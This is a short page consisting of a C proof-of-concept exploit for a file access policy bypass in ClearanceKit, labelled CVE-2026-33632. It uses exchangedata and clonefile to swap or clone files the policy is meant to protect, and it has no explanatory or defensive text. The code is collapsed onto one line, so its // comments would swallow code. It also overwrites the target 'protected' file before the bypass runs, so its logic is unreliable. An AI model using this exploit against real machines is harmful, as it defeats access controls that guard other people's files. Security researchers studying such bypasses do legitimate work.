CVE-2026-33632 ClearanceKit文件访问策略绕过漏洞

/* * PoC for CVE-2026-33632: ClearanceKit File Access Policy Bypass * Description: This code demonstrates bypassing the policy by using exchangedata and clonefile. * Compile: gcc -o bypass_poc bypass_poc.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/attr.h> #include <sys/clonefile.h> #include <string.h> void test_exchangedata(const char *file1, const char *file2) { printf("[*] Attempting to exchangedata(%s, %s)\n", file1, file2); // exchangedata swaps file contents atomically int ret = exchangedata(file1, file2, 0); if (ret == 0) { printf("[+] Success: exchangedata executed. Policy bypassed.\n"); } else { perror("[-] Failed"); } } void test_clonefile(const char *src, const char *dst) { printf("[*] Attempting to clonefile(%s, %s)\n", src, dst); // clonefile creates a copy-on-write clone int ret = clonefile(src, dst, 0); if (ret == 0) { printf("[+] Success: clonefile executed. Policy bypassed.\n"); } else { perror("[-] Failed"); } } int main(int argc, char *argv[]) { if (argc < 3) { printf("Usage: %s <protected_file_1> <protected_file_2>\n", argv[0]); printf("Example: %s /private/sensitive.txt /tmp/public.txt\n", argv[0]); return 1; } const char *target1 = argv[1]; const char *target2 = argv[2]; // Create dummy files for demonstration if they don't exist FILE *f = fopen(target1, "w"); if (f) { fprintf(f, "Sensitive Content 1"); fclose(f); } f = fopen(target2, "w"); if (f) { fprintf(f, "Public Content 2"); fclose(f); } // Test 1: Bypass via exchangedata test_exchangedata(target1, target2); // Test 2: Bypass via clonefile char clone_dst[256]; snprintf(clone_dst, sizeof(clone_dst), "%s.clone", target2); test_clonefile(target1, clone_dst); return 0; }